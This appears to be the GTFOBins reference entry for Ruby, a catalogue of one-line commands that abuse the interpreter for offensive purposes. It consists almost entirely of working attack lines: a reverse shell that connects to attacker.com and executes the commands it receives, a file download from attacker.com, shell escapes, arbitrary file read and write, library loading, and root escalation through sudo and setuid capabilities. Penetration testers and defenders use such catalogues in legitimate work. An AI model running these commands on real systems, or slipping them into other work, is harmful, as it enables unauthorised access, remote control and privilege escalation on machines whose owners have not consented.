GTFOBins.github.io/_gtfobins/ruby.md
2019-01-02 15:28:13 +00:00

1.2 KiB

functions
shell reverse-shell file-upload file-download file-write file-read library-load sudo capabilities
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ruby -e 'exec "/bin/sh"'
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Run `nc -l -p 12345` on the attacker box to receive the shell. export RHOST=attacker.com export RPORT=12345 ruby -rsocket -e 'exit if fork;c=TCPSocket.new(ENV["RHOST"],ENV["RPORT"]);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
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Serve files in the local folder running an HTTP server. This requires version 1.9.2 or later. export LPORT=8888 ruby -run -e httpd . -p $LPORT
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Fetch a remote file via HTTP GET request. export URL=http://attacker.com/file_to_get export LFILE=file_to_save ruby -e 'require "open-uri"; download = open(ENV["URL"]); IO.copy_stream(download, ENV["LFILE"])'
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ruby -e 'File.open("file_to_write", "w+") { |f| f.write("DATA") }'
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ruby -e 'puts File.read("file_to_read")'
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ruby -e 'require "fiddle"; Fiddle.dlopen("lib.so")'
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sudo ruby -e 'exec "/bin/sh"'
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./ruby -e 'Process::Sys.setuid(0); exec "/bin/sh"'